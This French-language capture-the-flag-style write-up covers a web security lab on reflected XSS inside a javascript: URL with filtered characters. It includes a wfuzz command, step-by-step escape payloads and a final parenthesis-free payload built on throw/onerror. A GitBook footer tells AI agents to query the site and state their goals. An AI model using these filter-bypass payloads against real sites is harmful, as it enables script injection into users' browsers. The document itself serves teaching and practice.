> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/xss-in-javascript-url-with-limited-characters.md).

# XSS dans une URL JavaScript avec caractères limités

### XSS réfléchi dans une URL JavaScript avec certains caractères bloqués

#### Objectif

En utilisant une vulnérabilité XSS réfléchie dans une `JavaScript:` URL pour afficher `alerte` contenant le `1337` chaîne (la `1337` chaîne doit être présente quelque part dans le message).

L'application reflète notre entrée dans une URL JavaScript. À première vue, le défi semble simple, mais l'application filtre certains caractères pour empêcher les attaques XSS. Nous devons trouver un moyen d'échapper au contexte JavaScript malgré ces restrictions et de déclencher `alert(...)` contenant `1337`.

<figure><img src="/files/fce57d5c47bb7c40afc77e0b2f698d3f8225f2e8" alt=""><figcaption></figcaption></figure>

#### Analyse du code source observée

Dans le code source, vous pouvez trouver le lien suivant :

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Back to Blog</a>
```

{% endcode %}

Après décodage de l'URL, vous obtenez :

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">Back to Blog</a>
```

{% endcode %}

Cliquer sur Retour au blog exécute cette URL JavaScript. En interceptant la requête, on voit qu'un appel est effectué à `/analytics`. Le `postId` Le paramètre est tiré de l'URL (`/post?postId=...`) et reflété dans le corps de la requête d'analyse.

<figure><img src="/files/eb4ef1bf169e7574e7038ebe5f138c79ee3ab08a" alt=""><figcaption></figcaption></figure>

#### Première tentative — rupture du parsing

<figure><img src="/files/0de8cc456693ab8bd55d61fa3c75d1800c8c24d7" alt="" width="563"><figcaption></figcaption></figure>

En injectant une seule apostrophe, le parsing est cassé (l'ID devient invalide) :

```javascript
2'},{x:'
```

L'apostrophe casse la structure, ce qui montre que la valeur est insérée dans un contexte où les guillemets ont un impact.

<figure><img src="/files/517eacd7656273729abfa2678647aa9c2d17d568" alt="" width="563"><figcaption></figcaption></figure>

#### Fuzzing des caractères spéciaux

Nous avons rapidement testé quels caractères spéciaux produisent une réponse valide (avec `wfuzz` et `special-chars.txt` liste). Commande utilisée en exemple :

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

Les résultats montrent que `&` et `#` produisent un code 200 — ils sont acceptés par l'analyseur et permettent d'insérer des séquences qui ferment correctement la structure.

<figure><img src="/files/0ed7bd6a80fd4d920a9a6af2918976f2bf4b55e9" alt="" width="563"><figcaption></figcaption></figure>

Interprétation observée :

```javascript
post?postId=2&
```

<figure><img src="/files/a084be8c82f7a3f94d22579afaf404eadc1399fa" alt=""><figcaption></figcaption></figure>

#### Construction du vecteur d'échappement

En fermant correctement la valeur et en insérant du code, vous pouvez obtenir :

```javascript
post?postId=2&'},{x:''
```

<figure><img src="/files/060da58959e1af39ed63eeb46149fc8035ca6d49" alt=""><figcaption></figcaption></figure>

Ici `x` reste vide et la syntaxe est acceptée.

Ensuite, nous essayons d'ajouter un `alerte` directement :

```javascript
post?postId=2&'},alert(1),{x:''
```

Mais `()` les parenthèses de `alert(1)` sont supprimées par le filtre — il faut donc contourner l'obligation d'utiliser `()`.

<figure><img src="/files/ca6e88053717030dae6a57abb42e1933f4b408b9" alt=""><figcaption></figcaption></figure>

#### Contournement sans parenthèses

On contourne l'utilisation des parenthèses et on utilise des expressions JavaScript plus créatives pour invoquer `alerte` par `1337` dans la sortie. Le payload final utilisé est :

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="/files/c13f1fccc1b87076a4c72f47f0b57674f8a91910" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
